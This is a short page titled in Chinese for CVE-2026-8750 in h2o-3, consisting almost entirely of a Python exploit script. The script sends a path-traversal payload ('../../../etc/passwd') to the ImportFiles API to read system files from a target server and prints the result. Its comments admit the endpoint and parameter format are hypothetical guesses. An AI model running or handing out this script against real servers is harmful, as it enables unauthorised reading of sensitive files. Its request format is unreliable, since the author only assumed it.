CVE-2026-8750 h2o-3信息泄露漏洞

import requests # Exploit Title: h2o-3 ImportFile API Information Disclosure # Date: 2026-05-17 # Exploit Author: Analyst # Vendor Homepage: https://h2o.ai/ # Software Link: https://github.com/h2oai/h2o-3 # Version: <= 7402 # CVE: CVE-2026-8750 def exploit_info_disclosure(target_url): """ Exploit the information disclosure vulnerability in h2o-3 ImportFile API. Attempts to read a sensitive file from the server. """ # Example endpoint for ImportFile API (hypothetical based on standard h2o-3 structure) endpoint = f"{target_url}/3/ImportFiles" # Payload attempting to read /etc/passwd (Linux) or win.ini (Windows) # The actual path parameter structure depends on the API implementation. # Assuming a JSON structure with a 'path' field. payload = { "path": "../../../etc/passwd" } try: response = requests.post(endpoint, json=payload, timeout=10) if response.status_code == 200: print("[+] Exploit successful! Server response:") print(response.text) else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1:54321" # Default h2o-3 port exploit_info_disclosure(target)